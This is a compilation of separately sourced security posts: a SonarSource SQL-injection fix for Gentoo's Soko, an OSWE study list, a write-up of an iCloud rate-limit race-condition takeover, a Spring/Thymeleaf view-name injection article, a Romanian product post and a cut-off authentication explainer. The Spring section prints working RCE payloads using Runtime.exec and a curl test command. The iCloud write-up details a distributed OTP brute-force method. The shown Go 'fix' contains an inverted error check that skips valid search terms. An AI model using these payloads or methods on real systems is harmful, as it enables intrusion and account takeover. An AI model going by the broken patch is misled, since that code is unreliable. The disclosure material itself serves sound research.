This situation is solved by passing the pg.Query object as a parameter and by using its method WhereOr() to build the query. Notice that its first parameter is always a constant string with a query placeholder, so searchTerm gets correctly escaped every time: 

-func BuildSearchQuery(searchString string) string {
-	var searchClauses []string
+func BuildSearchQuery(query *pg.Query, searchString string) *pg.Query {
 	for _, searchTerm := range strings.Split(searchString, " ") {
 		if searchTerm != "" {
-			searchClauses = append(searchClauses,
-				"( (category % '"+searchTerm+"') OR (name % '"+searchTerm+"') OR (atom % '"+searchTerm+"') OR (maintainers @> '[{\"Name\": \""+searchTerm+"\"}]' OR maintainers @> '[{\"Email\": \""+searchTerm+"\"}]'))")
+			marshal, err := json.Marshal(searchTerm)
+			if err == nil {
+				continue
+			}
+			query = query.WhereGroup(func(q *pg.Query) (*pg.Query, error) {
+				return q.WhereOr("category % ?", searchTerm).
+					WhereOr("name % ?", searchTerm).
+					WhereOr("atom % ?", searchTerm).
+					WhereOr("maintainers @> ?", `[{"Name": "`+string(marshal)+`"}]`).
+					WhereOr("maintainers @> ?", `[{"Email": "`+string(marshal)+`"}]`), nil
+			})
 		}
 	}
-	return strings.Join(searchClauses, " AND ")
+	return query
 }

 

Timeline

DATE	ACTION
2023-03-17	We report all issues to the Soko maintainer and security contacts at Gentoo. A patch is submitted on the same day.
2023-03-19	The GitHub Security Advisories are published (GHSA-45jr-w89p-c843, GHSA-gc2x-86p3-mxg2) along with CVE-2023-28424.

Summary

In this publication, we presented a case of how SQL injection can arise despite using a query builder and prepared statements. Conscious developers should be aware of these pitfalls and make sure to understand how ORM APIs are designed to avoid introducing similar code vulnerabilities. 

 

In general, a common source of vulnerabilities with ORMs happens when there is no reference to the query builder instance in the current context; such cases are usually methods made to avoid code duplication across queries. Developers are then more likely to craft parts of the query manually and introduce SQL injections. 

 

Additionally, every ORM comes with its own take on API design, and it can be tricky to know about unsafe code patterns at first sight. This is where Go's typing could come in handy at the cost of some flexibility by introducing compile-time safeguards, forcing developers to always separate instructions (the prepared statement) from data (the user's input). 

 

It is also interesting to note that containerization solutions like Docker bring an isolation layer but shouldn't be considered a security boundary. It is imperative to apply the principle of least privileges even in this context. For this reason, we developed a rule in our Infrastructure as Code scanner to detect if containers are running with elevated privileges. 

 

We would like to thank the Gentoo contributors Arthur Zamarin and Sam James for acknowledging our report and deploying a patch to production within 24 hours. Kudos!

 

Sursa: https://www.sonarsource.com/blog/why-orms-and-prepared-statements-cant-always-win/

Jan 22, 2020
WebExploit Development Share on:

updated Content AWAE1.5

OSWE Exam Preparation

This post contains all trainings and tutorials that could be useful for offensive security’s OSWE certification. I will be updating the post during my lab and preparation for the exam.

Course Syllabus:

https://www.offensive-security.com/documentation/awae-syllabus.pdf

Before registering for AWAE Lab:

• Get comfortable with python requests library
• Read Web Application Hacker’s handbook, again if you already did
• Get familiar with Burpsuite
• Get familiar with regex
• Get hands on with OWASP top 10 2017 Vulnerabilities
  • Vulnerable Apps for practice on OWASP
  • Portswigger WebSecAcademy
• Practice code review skills - OWASP SKF

Before registering for the OSWE Exam:

• XSS to RCE

  • AtMail Email Server Appliance 6.4 - Persistent Cross-Site Scripting
  • Chaining XSS, CSRF to achieve RCE
  • Code analysis to gaining RCE
  • Magento 2.3.1: Unauthenticated Stored XSS to RCE
  • Mybb 18.20 From Stored XSS to RCE

• Bypassing File Upload Restrictions:

  • [Paper] File Upload Restrictions Bypass
  • Shell the web - Methods of a Ninja
  • Unrestricted File Upload
  • Atlassian Crowd Pre-auth RCE
  • Popcorn machine from HackTheBox
  • Vault machine from HackTheBox

• Authentication Bypass to RCE

  • ATutor 2.2.1 Authentication Bypass
  • ATutor LMS password_reminder TOCTOU Authentication Bypass
  • ATutor 2.2.1 - Directory Traversal / Remote Code Execution
  • Cubecart Admin Authentication Bypass
  • Trendmicro smart protection bypass to RCE

• Password Reset Vulnerability

  • Testing Password rest functionalities
  • OWASP - Forgot Password Cheatsheet
  • How we hacked multiple user accounts using weak reset tokens for passwords

• SQL Injection:

  • RCE with SQL Injection - MSSQL
  • SQL Injection to LFI to RCE - MySQL
  • From SQLi to SHELL (I and II) - PentesterLab
  • Pre-Auth Takeover of OXID eShops
  • Blind SQL Injection
  • [Paper] PostgreSQL Injection
  • Having Fun With PostgreSQL
  • Blind Postgresql Sql Injection Tutorial
  • SQL Injection Cheat Sheet - PentestMonkey
  • SQL Injection Cheat Sheet - PayloadAllTheThings
  • Exploiting H2 SQL injection to RCE

• JavaScript Injection:

  • Server Side JS Injection
  • Remote Code Execution in math.js
  • Arbitrary code execution in fast-redact
  • NVIDIA GeForce Experience OS Command Injection - CVE-2019-5678
  • SetTimeout and SetInterval use eval therefore are evil
  • Pentesting Node.js Application : Nodejs Application Security
  • NodeJS remote debugging with vscode
  • Escape NodeJS Sandboxes

• PHP Type Juggling:

  • OWASP - PHPMagicTricks TypeJuggling
  • PHP Type Juggling - Introduction
  • Type Juggling, PHP Object Injection, SQLi
  • Writing Exploits For PHP Type Juggling
  • Type Juggling Authentication Bypass Vulnerability in CMS Made Simple
  • PHP Magic Hashes
  • Detailed Explanation of PHP Type Juggling Vulnerabilities
  • [Video] PHP Type Juggling Vulnerabilities, Netsparker
  • [Video] Falafel machine from HackTheBox

• Deserialization:

  • Deserialization_Cheat_Sheet
  • Insecure deserialization - PayloadAllthethings
  • [Paper] Deserialization Vulnerability
  • Serialization : A Big Threat

  • JAVA Deserialization

    • Understanding & practicing java deserialization exploits
    • Understanding JAVA Deserialization
    • Exploiting blind Java deserialization with Burp and Ysoserial
    • Details on Oracle Web Logic Desrialization
    • Analysis of Weblogic Deserialization
    • [Video] Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java

  • .NET Deserialization

    • Use of Deserialization in .NET Framework Methods and Classes.
    • Exploiting Deserialisation in ASP.NET via ViewState
    • Remote Code Execution via Insecure Deserialization in Telerik UI
    • [Video] Friday the 13th: JSON Attacks - BlackHat
    • [Paper] Are you My Type?
    • [Video] JSON Machine from HackTheBox - Ippsec

  • PHP Object Injection/Deserialization

    • What is PHP Object Injection
    • phpBB 3.2.3: Phar Deserialization to RCE
    • Exploiting PHP Desrialization
    • Analysis of typo3 Deserialization Vulnerability
    • Attack Surface of PHP Deserialization Vulnerability via Phar
    • [Video] Intro to PHP Deserialization / Object Injection - Ippsec
    • [Video] Advanced PHP Deserialization - Phar Files - Ippsec
    • [Video] Exploiting PHP7 unserialize (33c3)

  • NodeJS Deserialization

    • Exploiting Node.js deserialization bug for Remote Code Execution
    • The good, the bad and RCE on NodeJS applications
    • Attacking Deserialization in JS
    • Node.js Deserialization Attack – Detailed Tutorial
    • [Video] Celestial machine from HackTheBox - Ippsec

• XML External Entity (XXE) Attack

  • A Deep Dive into XXE Injection
  • From XXE to RCE: Pwn2Win CTF 2018 Writeup
  • Blind XXE to RCE
  • Apache Flex BlazeDS XXE Vulnerabilty
  • WebLogic EJBTaglibDescriptor XXE

• Server Side Template Injection (SSTI)

  • [Portswigger Research] Server Side Template Injection
  • [Video] SSTI : RCE For The Modern Web App - albinowax
  • Server Side Template Injection
  • Jinja2 template injection filter bypasses
  • Exploitation of Server Side Template Injection with Craft CMS plugin SEOmatic <=3.1.3

• Websocekts InSecurity

  • Introduction to WebSockets
  • [Video] Hacking with Websocket - BlackHat
  • Remote Hardware takeover via Websocket Hijacking
  • Cross-Site WebSocket Hijacking to full Session Compromise

• Source Code Audit

  • Introduction to Code Review [PentesterLab]
  • Static code analysis writeups
  • TrendMicro - Secure Coding Dojo
  • Bug Hunting with Static Code Analysis [Video]
  • Shopify Remote Code Execution - Hackerone
  • Finding vulnerabilities in source code ( APS.NET)
  • A deep dive into ASP.NET Deserialization
  • Writeups by mr_me

• Youtube Playlist

• Further References/Reviews

  • From AWAE to OSWE the preperation guide - hansesecure
  • OSWE Exam Review 2020 Notes gifts inside - 21y4d
  • OSWE Cheat Sheet - V1s3r1on
  • wetw0rk/AWAE-PREP
  • https://codewhitesec.blogspot.com/
  • https://blog.ripstech.com/
  • https://rhinosecuritylabs.com

Sursa: https://z-r0crypt.github.io/blog/2020/01/22/oswe/awae-preparation/

This article is about how I found a vulnerability on Apple forgot password endpoint that allowed me to takeover an iCloud account. The vulnerability is completely patched by Apple security team and it no longer works. Apple Security Team rewarded me $18,000 USD as a part of their bounty program but I refused to receive it. Please read the article to know why I refused the bounty.

After my Instagram account takeover vulnerability, I realized that many other services are vulnerable to race hazard based brute forcing. So I kept reporting the same with the affected service providers like Microsoft, Apple and a few others.

Many people mistook this vulnerability as typical brute force attack but it isn’t. Here we are sending multiple concurrent requests to the server to exploit the race condition vulnerability present in the rate limits making it possible to bypass it.

Now lets see what I found in Apple.

The forgot password option of Apple ID allows us to change our password using 6 digit OTP sent to our mobile number and email address respectively. Once we enter the correct OTP we will be able to change the password.

Apple forgot password page prompting to enter mobile number after entering email address

For security reasons, apple will prompt us to enter the trusted phone number along with email address to request OTP.

So to exploit this vulnerability, we need to know the trusted phone number as well as their email address to request OTP and will have to try all the possibilities of the 6 digit code, that would be around 1 million attempts (10 ^ 6).

As for as my testing, the forgot password endpoint had pretty strong rate limits. If we enter more than 5 attempts, our account will be locked for the next few hours, even rotating the IP didn’t help.

HTTP POST REQUEST SENT TO FORGOT PASSWORD ENDPOINT AND ITS RESPONSE

Then I tried for race hazard based brute forcing by sending simultaneous POST requests to apple server and found a few more limitations.

To my surprise, apple have rate limits for concurrent POST requests from single IP address, not just to the forget password endpoint but to the entire apple server. We cannot send more than 6 concurrent POST requests, it will be dropped. It will not just be dropped but our IP address will be blacklisted for future POST requests with 503 error.

Oh my god! That is too much ?

So I thought they aren’t vulnerable to this type of attack ? but still had some hope since these are generic rate limits across the server and not specific to the code validation endpoint.

After some testing, I found a few things

1. iforgot.apple.com resolves to 6 IP addresses across the globe – (17.141.5.112, 17.32.194.36, 17.151.240.33, 17.151.240.1, 17.32.194.5, 17.111.105.243).
2. There were two rate limits we have seen above, one is triggered when we send more than 5 requests to forgot password endpoint (http://iforgot.apple.com/password/verify/smscode) and another one is across the apple server when we send more than 6 concurrent POST requests.
3. Both these rate limits are specific to apple server IP which means we can still send requests (with in limits though) to another apple server IP.
4. We can send upto 6 concurrent requests to an apple server IP (by binding iforgot.apple.com to the IP) from single client IP address as per their limits. There are 6 apple IP address resolved as mentioned above. So we can send upto 36 requests across the 6 apple IP address (6 x 6 = 36) from single IP address.
5. Therefore, the attacker would require 28K IP addresses to send up to 1 million requests to successfully verify the 6 digit code.

28k IP addresses looks easy if you use cloud service providers, but here comes the hardest part, apple server has a strange behavior when we try to send POST requests from cloud service providers like AWS, Google cloud, etc.

They reject the POST request with 502 Bad gateway without even checking the request URI or body. I tried changing IPs but all of them returned same response code, which means they have blacklisted the entire ASN of some cloud service providers if am not wrong ?

It makes the attack harder for those who rely on reputed cloud services like AWS. I kept trying various providers and finally found a few service providers their network IPs are not blacklisted.

Then I tried to send multiple concurrent POST requests from different IP address to verify the bypass.

And it worked!!! ??? Now I can change the password of any Apple ID with just their trusted phone number ?

Of course the attack isn’t easy to do, we need to have a proper setup to successfully exploit this vulnerability.

First we need to bypass the SMS 6 digit code then 6 digit code received in the email address. Both bypasses are based on same method and environment so we need not change anything while trying the second bypass. Even if the user has two factor authentication enabled, we will still be able to access their account, because 2FA endpoint also shares the rate limit and was vulnerable. The same vulnerability was also present in the password validation endpoint.

I reported this information with detailed reproduction steps and a video demonstrating the bypass to Apple security team on July 1st, 2020. Apple security team acknowledged and triaged the issue with in few minutes of report.

I didn’t get any updates from Apple after triage so I kept following up for status updates and they said they are working on a fix on Sep 9th, 2020.

Again, no updates for next 5 months and then this email came when I asked for status

They said they are planning to address the issue in upcoming security update. I was wondering what is taking so long for them to react to a critical vulnerability.

I kept retesting the vulnerability to know whether its fixed instead of relying on them. I tested on April 1st, 2021 and realized a patch for the vulnerability was released to production but still there were no updates from Apple. I asked them whether the issue is patched and the response is same as they have no status updates to share.

I was patient and waiting for them to update the status. After a month, I wrote them that the issue was patched on April 1st itself and why am not being updated about it, I also told that I wanted to publish the report to my blog.

Apple security team asked me whether it is possible to share the draft of the article with them before publishing. That is when things started to go unexpected.

After sharing the draft, they denied my claim saying that this vulnerability do not allow to takeover majority of the icloud accounts. Here’s their response

As you can see in the email screenshot, their analysis revealed that it only works against iCloud accounts that has not been used in passcode / password protected Apple devices.

I argued that even if the device passcode (4 digit or 6 digit) is asked instead of 6 digit code sent to email, it will still share the same rate limits and would be vulnerable to race condition based brute forcing attacks. We will also be able to discover the passcode of the associated Apple device.

I also noticed a few changes in their support page regarding forgot password.

Link : https://support.apple.com/en-in/HT201487

The above screenshot shows how the page looks now but it wasn’t the same before my report.

In October 2020, that page looked like this

Link from web archive : http://web.archive.org/web/20201005172245/https://support.apple.com/en-in/HT201487

“In some cases” is prefixed to the paragraph on October 2020, that is exactly after I was told that they are working on a fix in September 2020.

It looks like everything was planned, the page was updated to support their claim of only limited users were vulnerable. That page wasn’t updated for years but getting a minor update after my report. It doesn’t look like a coincidence.

When I asked about it, they said the updates are made due to changes in iOS 14. What does resetting password using trusted email / phone number has to do with iOS 14 I asked. If that is true, are trusted phone number and email used to reset the password before iOS 14? If that’s the case, my report is applicable to all Apple accounts. I didn’t get any answer from them.

I was disappointed and told them that I am going to publish the blog post with all the details without waiting for their approval. Here’s the reply I got from them.

They arranged a call with Apple team engineers to explain what they found in their analysis and also to answer any questions I may have.

During the call, I asked why it is different from the vulnerability I found. They said that the passcode is not being sent to any server endpoint and is verified in the device itself. I argued that there is no way for a random apple device to know another device’s passcode without contacting Apple server. They said it is true that the data is sent to server but it is verified using a cryptographic operation and they cannot reveal more than that due to security concerns.

I asked what if we find out the encryption process through reverse engineering to replicate it and brute force the Apple server with concurrent requests. I didn’t get any definite answer for that question. They concluded that the only way to brute force the passcode is through brute forcing the Apple device which is not possible due to the local system rate limits.

I couldn’t accept what Apple engineers said, logically, it should be possible to replicate what Apple device is doing while sending the passcode data to server.

I thought to verify it myself to prove them. If what they said is true, passcode validation endpoint should be vulnerable to race condition based brute forcing. After a few hours of testing I found that they have SSL pinning specific to the passcode validation endpoint, so the traffic sent to the server cannot be read by MITM proxy like burp / charles.

Thanks to checkra1n and SSL Kill Switch, using their tool I was able to bypass pinning and read the traffic sent to server.

I figured out that Apple uses SRP (Secure Remote Password), a PAKE protocol to verify the user knows the right passcode without actually sending it to the server. So what the engineers said is right, they aren’t sending the passcode directly to server. Instead, both server and client do some mathematical calculations using the previously known data to derive at a key (more like diffie-hellman key exchange).

Without getting into the specifics of SRP, let me get straight to what is necessary in our context.

• Apple server has two stored values namely verifier and salt specific to each user created at the time of setting or updating the passcode.
• Whenever a user initiates a SRP authentication with username and a ephemeral value A, Apple server responds back with the salt of the specific user and a ephemeral value B.
• Client uses the salt obtained from server to calculate the key prescribed by SRP-6a.
• Server uses the salt and verifier to calculate the key prescribed by SRP-6a.
• Finally they both prove to each other that the derived key are same.

Read more about the detailed calculations of SRP-6a here.

SRP is known to prevent bruteforce attacks as it has user-specific salt and a verifier, so even if someone steals our database, they will still need to perform a CPU intensive bruteforce for each user to discover the password one by one. That gives enough time for the affected vendor to react to it.

But, in our case, we don’t have to bruteforce a large number of accounts. Bruteforcing single user is enough to get into their iCloud account as well as finding their passcode.

Brute forcing is possible only when you have both salt and verifier specific to the target user. After bypassing the SMS passcode we can easily impersonate as the target user and obtain the salt. But the problem here is verifier. We should either somehow obtain the verifier from server or bypass the rate limit on key verifying endpoint.

If the rate limit is bypassed, we can keep on trying different combinations of key obtained using the precomputed values of the passcode until we arrive at the matching key. Obviously, it requires a lot of computation to derive a key of each 4 or 6 digit numeric passcodes (from 0000/000000 to 9999/999999).

When we enter the passcode in an iPhone / iPad during password reset, the device initiates SRP authentication by sending the user session token obtained from the successful SMS verification. The server responds back with the salt of the respective user. The passcode and the salt are hashed to then derive the final key which is sent to https://p50-escrowproxy.icloud.com/escrowproxy/api/recover to check whether it matches the key computed (using ephemeral, salt and verifier) on the server.

And the POST request sent to verify the key looked like this

String tag has all the data mentioned above but are sent in DATA BLOB format. The first thing I wanted to check is rate limit before decoding the values of BLOB. I sent the request 30 times concurrently to check whether the endpoint was vulnerable.

To my shock, it wasn’t vulnerable. Out of 30 requests, 29 of them were rejected with internal server error.

Rate limiting would be performed in the Apple server itself or in HSM (hardware security module). Either way, the rate limit logic should be programmed as such to prevent race hazard. There is very bleak chance for this endpoint to be not vulnerable to race hazard before my report because all the other endpoints I tested was vulnerable – SMS code validation, email code validation, two factor authentication, password validation was all vulnerable.

If they did patch it after my report, the vulnerability became a lot more severe than what I initially thought. Through bruteforcing the passcode, we will be able to identify the correct passcode by differentiating the responses. So we not only can takeover any iCloud account but also discover the passcode of the Apple device associated with it. Even though the attack is complex, this vulnerability could hack any iPhone / iPad that has 4 digit / 6 digit numeric passcode if my assumption is right.

Since it is now validating the concurrent requests properly, there is no way for me to verify my claim, the only way I can confirm this is by writing to Apple but they aren’t giving any response in this regard.

I got the bounty email from Apple on June 4th, 2021.

The actual bounty mentioned for iCloud account takeover in Apple’s website is $100,000 USD. Extracting sensitive data from locked Apple device is $250,000 USD. My report covered both the scenarios (assuming the passcode endpoint was patched after my report), so the actual bounty should be $350,0000. Even if they chose to award the maximum impact out of the two cases, it should still be $250,000 USD.

Selling these kind of vulnerabilities to government agencies or private bounty programs like zerodium could have made a lot more money. But I chose the ethical way and I didn’t expect anything more than the outlined bounty amounts by Apple.

https://developer.apple.com/security-bounty/payouts/

But $18,000 USD is not even close to the actual bounty. Lets say all my assumptions are wrong and Apple passcode verifying endpoint wasn’t vulnerable before my report. Even then the given bounty is not fair looking at the impact of the vulnerability as given below.

• Bypassed the two factor authentication. It is literally like 2FA doesn’t exist due to the bypass. People who are all relying on 2FA are vulnerable. This itself is a major vulnerability.
• Bypassed the password validation rate limits. All the Apple ID accounts that use common / weak / hacked passwords are vulnerable even if they have two factor authentication enabled. Once hacked, the attacker can track the location of the device as well as wipe the device remotely. 2014 celebrities iCloud hack is majorly because of weak passwords.
• Bypassed the SMS verification. If we know the passcode or password of the device associated with the iCloud account. Lets say any of your friends or relatives knows your device passcode, using this vulnerability, they can takeover your iCloud account and also can erase your entire device remotely over the internet without having physical access to it.
• We can takeover all Apple IDs that are not associated with a passcode protected Apple device due to both SMS and email verification code bypass, which means
  • Any apple device without passcode or password, like anyone who turned off or didn’t set the passcode / password.
  • Any Apple ID created without apple device, like in browsers or in an android app and not been used in password protected apple devices
  • For example, 50 Million+ android users have downloaded Apple music app. In those, majority of them may not have used Apple devices. They are still Apple users and their information like credit cards, billing address, subscription details, etc could be exposed.

They need not reward the upper cap of the iCloud account takeover ($100k) but it should at least be close to it considering the impact it has created.

After all my hard work and almost a year of waiting, I didn’t get what I deserved because of Apple’s unfair judgement. So I refused to receive the bounty and told them it is unfair. I asked them to reconsider the bounty decision or let me publish the report with all the information. There wasn’t any response to my emails. So I have decided to publish my article without waiting for their response indefinitely.

Therefore, I shared my research with Apple for FREE of cost instead of an unfair price.

I request Apple security team to be more transparent and fair at least in the future. I would like to thank Apple for patching the vulnerability.

I repeat, the vulnerability is completely fixed and the scenarios described above no longer works. Thank you for reading the article! Please let me know your thoughts in comments.

Source: https://thezerohack.com/apple-vulnerability-bug-bounty

HelloController.java:

@Controller
public class HelloController {

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }
}

Due to the use of @Controller and @GetMapping("/") annotations, this method will be called for every HTTP GET request for the root url ('/'). It does not have any parameters and returns a static string "welcome". Spring framework interprets "welcome" as a View name, and tries to find a file "resources/templates/welcome.html" located in the application resources. If it finds it, it renders the view from the template file and returns to the user. If the Thymeleaf view engine is in use (which is the most popular for Spring), the template may look like this:

welcome.html:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

Thymeleaf engine also support file layouts. For example, you can specify a fragment in the template by using <div th:fragment="main"> and then request only this fragment from the view:

@GetMapping("/main")
public String fragment() {
    return "welcome :: main";
}

Thymeleaf is intelligent enough to return only the 'main' div from the welcome view, not the whole document.

From a security perspective, there may be a situation when a template name or a fragment are concatenated with untrusted data. For example, with a request parameter:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

The first case may contain a potential path traversal vulnerability, but a user is limited to the 'templates' folder on the server and cannot view any files outside it. The obvious exploitation approach would be to try to find a separate file upload and create a new template, but that's a different issue.

Luckily for bad guys, before loading the template from the filesystem, Spring ThymeleafView class parses the template name as an expression:

try {
   // By parsing it as a standard expression, we might profit from the expression cache
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}

So, the aforementioned controllers may be exploited not by path traversal, but by expression language injection:

Exploit for /path (should be url-encoded)

GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1

In this exploit we use the power of expression preprocessing: by surrounding the expression with __${ and }__::.x we can make sure it's executed by thymeleaf no matter what prefixes or suffixes are.

To summarize, whenever untrusted data comes to a view name returned from the controller, it could lead to expression language injection and therefore to Remote Code Execution.

Even more magic

In the previous examples, controllers return strings, explicitly telling Spring what view name to use, but that's not always the case. As described in the documentation, for some return types such as void, java.util.Map or org.springframework.ui.Model:

Quote

the view name implicitly determined through a RequestToViewNameTranslator

It means that a controller like this:

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

may look absolutely innocent at first glance, it does almost nothing, but since Spring does not know what View name to use, it takes it from the request URI. Specifically, DefaultRequestToViewNameTranslator does the following:

/**
 * Translates the request URI of the incoming {@link HttpServletRequest}
 * into the view name based on the configured parameters.
 * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
 * @see #transformPath
 */
@Override
public String getViewName(HttpServletRequest request) {
    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}

So it also become vulnerable as the user controlled data (URI) comes directly to view name and resolved as expression.

Exploit for /doc (should be url-encoded)

GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1

Safe case: ResponseBody

There are also some cases when a controller returns a used-controlled value, but they are not vulnerable to view name manipulation. For example, when the controller is annotated with @ResponseBody:

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

In this case, Spring Framework does not interpret it as a view name, but just returns this string in HTTP Response. The same applies to @RestController on a class, as internally it inherits @ResponseBody.

Safe case: A redirect

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
}

When the view name is prepended by "redirect:" the logic is also different. In this case, Spring does not use Spring ThymeleafView anymore but a RedirectView, which does not perform expression evaluation. This example still has an open redirect vulnerability, but it is certainly not as dangerous as RCE via expression evaluation.

Safe case: Response is already processed

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

This case is very similar to one of the previous vulnerable examples, but since the controller has HttpServletResponse in parameters, Spring considers that it's already processed the HTTP Response, so the view name resolution just does not happen. This check exists in the ServletResponseMethodArgumentResolver class.

Conclusion

Spring is a framework with a bit of magic, it allows developers to write less code but sometimes this magic turns black. It's important to understand situations when user controlled data goes to sensitive variables (such as view names) and prevent them accordingly. Stay safe.

Test locally

Java 8+ and Maven required

cd spring-view-manipulation
mvn spring-boot:run
curl 'localhost:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x'

Credits

This project was co-authored by Michael Stepankin and Giuseppe Trovato at Veracode
Authors would like to thank Aleksei Tiurin from Acunetix for the excellent research on SSTI vulnerabilities in Thymeleaf

Source: github.com

Oare stiu aia? ?

Am un proiect pe partea de CyberSecurity, la care lucrez de ceva timp impreuna cu un fost coleg de munca si pe care as vrea sa vi-l prezit si voua cu speranta in a veni si a-l testa. Am fost si la Defcamp unde am avut un stand (multumim @Andrei cu aceasta ocazie) si am rulat un program de BugBounty (care inca e valid - cine gaseste un bug valid il raporteaza si in functie de severitate vom premia cu vouchere Emag)

Pe scurt, este vorba de https://razdon.com , un website care va ofera posibilitatea de a "onboardui" si a veda traficul vostru LIVE cu un extra context de securitate la fiecare request.

Aceasta parte de live este prezentata sub forma unui dashboard unde poti vedea harta lumii si toate request-urile venind spre locatia serverului tau. Aveti un screenshot atasat mai jos:

Dupa cum vedeti proiectul a fost dezvoltat pe RST si aici puteti vedea un window de aproximativ 8 ore cu toate statisticiile legate de RST in aceste 8 ore + traficul live, bineinteles.

Pe langa partea de dashboard live, care necesita interactiune minima (practic este doar selectia site-ului in scop - in cazul in care aveti mai multe), avem si partea de analiza de trafic.

In partea de analiza de trafic ai optiunea de a cauta in toate request-urile pe o anumita perioada de timp dupa ceva anume (ex. toate requesturile cu status code 4XX or 3XX). In partea de analiza este prezenta si un scurt istoric al atacurilor recente (cu tot cu tipul lor)

Puteti vedea o bucata din acesta pagina mai jos:

Un alt meniu destul de interesat este cel cu partea de certificate SSL, unde va puteti verifica data de expirare a certificatului (iar pe viitor vom implementa si sistem de alerte - atat la certificate cat si la atacuri).

Un screenshot cu partea de certificate mai jos:

Putem implementa si partea de WAF, dar momentan avem 0 focus in aceasta directie.

Foarte curand vom face release si la un beta pe partea de artificial intelligence / machine learning, cu ajutorul carora vom maximiza eficienta detectarii atacurilor.

Acestea fiind spuse, daca cineva este interesat de un asemenea produs, inregistrariile sunt deschise si puteti urma pasii necesari pentru a viziona traficul.

Pentru a evita intrebariile de tipul cum faceti asta, va informez de pe acum ca singurul lucru care e necesar pentru aceste actiun sunt logurile de apache, respectiv nginx cu traficul website-ului. Momentan preluam aceste loguri cu un binar scris in GO (pentru eficienta) dar voi pune si varianta (raw) cea de a trimite catre API-ul nostru log-urile fara a rula un binar (safety reasons). O mica schema pentru a intelege mai bine cum sta treaba aveti jos.

Mersi si o seara faina!

P.S. In caz ca vrea sa ne cumpere careva cu vreo 2-3 mil de euro sa-mi dea un MP, dupaia e mai scump.

Web Authentication Authentication Explained

First Things First

Innovation is something that happens naturally and gradually for various problem/solution pairs. There are usually very passionate people on both ends of a problem. One end agitates the problem while the other end works to create or improve upon solutions. As this relates here, authentication is a vital function for nearly all consumer and business applications. To get to the heart of what authentication is, here is what we will we cover:

• What is authentication and how is it different from authorization?
• Why do we need multifactor authentication?
• How does “sign in with” work (hint: OAuth 2.0) and should you use it?
• What is Single Sign On (SSO)?
• What is Passwordless Authentication?
• What is API Authentication?
• Bonus: What are Deep Links?

Let’s get to it!

What is Authentication and how is it different from Authorization?

Authentication vs Authorization — Simply put, Authentication is the process an application performs to verify an identity’s credentials are valid. If valid, the user or system will be moved onto the next step which is typically an authorization check. Authorization is distinctly different from authentication and is a process to determine if a valid identity has access to a specific resource.

Typical Authentication Example — You must be thinking, well how does an application know who I am? Obviously, you would need to be registered with the application first. Here is a basic example: Let’s say you want to subscribe to a new online service that will send you a different jelly each month. You navigate to the website and select the “create a new account” option. You pick your username and then set a password. You will likely need to provide an email and prove ownership of it. There you have it, you now have a registered identity in the application and can further enter your personal information to receive your jelly each month.

Passwords — These are secrets set for each unique identity of an application. The problem with passwords, and passcodes for that matter, is that they are set by humans and humans often will seek the path of least resistance. Think of a sticky note on your grandma’s monitor. Passwords often get reused across many applications, set so they are easier to remember, and stored in insecure locations. This is why a second factor in the authentication process has become commonplace (more on this next).

Super Basic Web Authentication Flow with MFA

Pro tip: Back to Authorization for a second. Authorization describes what access you have. So it’s important to remember that it’s not just “what you have access to” but also “what data you can leverage with the access”. Fetching a specific person’s name is different than being able to fetch every person’s name.

Why do we need MFA?

In 2012 and LinkedIn reported one of the largest data breaches of the time occurred. Nearly 6.5 million passwords that they knew about became compromised. About 4 years later they discovered another 100 million were actually compromised. This was one of many credential breaches that can be searched on Troy Hunt’s Have I Been Pwned (HIBP) database of hundreds of millions of records. Unfortunately, this is just a fraction of the billions of leaked credentials floating out there. This has translated to a rise in credential stuffing attacks, where a known set of credentials from a compromised service are used on a completely separate one. The industry is seeing double digit growth in these attacks each year. Companies and consumers are usually both on the losing end of these attacks.

What is MFA?

Multifactor Authentication (MFA) — Enter the obvious solution, Multifactor Authentication (MFA). MFA is a common technique to prevent attackers from gaining access to user accounts even if credentials (username+password) are known or guessed. The impact of antiquated password policies has been known for a while and NIST is helping catch things up with their 800–63B publication.

The idea behind MFA is to use at least two different factors for authentication. The three common factors used for MFA:

1) something you know, like a passcode, in addition to your password

2) something you have, like a soft token (software on your phone) or hard token (USB key)

3) something you are, like a biometric (face, eye, finger, or speech).

Current state of MFA — Back to 2012, there weren’t many companies actively considering implementing MFA. Yet, here we are 10 years later with near ubiquity around its adoption. We can partly attribute security breaches in widely used platforms like LinkedIn and games like Fortnite for this. That of course doesn’t mean the end users are enabling it. A simple Google search trend analysis would help illustrate interest in MFA over time.

Source: Google Trends

Challenges with MFA — We are in a far different spot because of the security events that have transpired over the past 10 years. Our guess is that many generations now know what MFA is and use it in some way today. MFA is here to stay for now and we will see it continue to evolve. A focus on a better end-user experience will be key to its increased adoption as other solutions like Passwordless mature. More on that later. That all said, with any technology, there are challenges. Here are a few with MFA to be aware of:

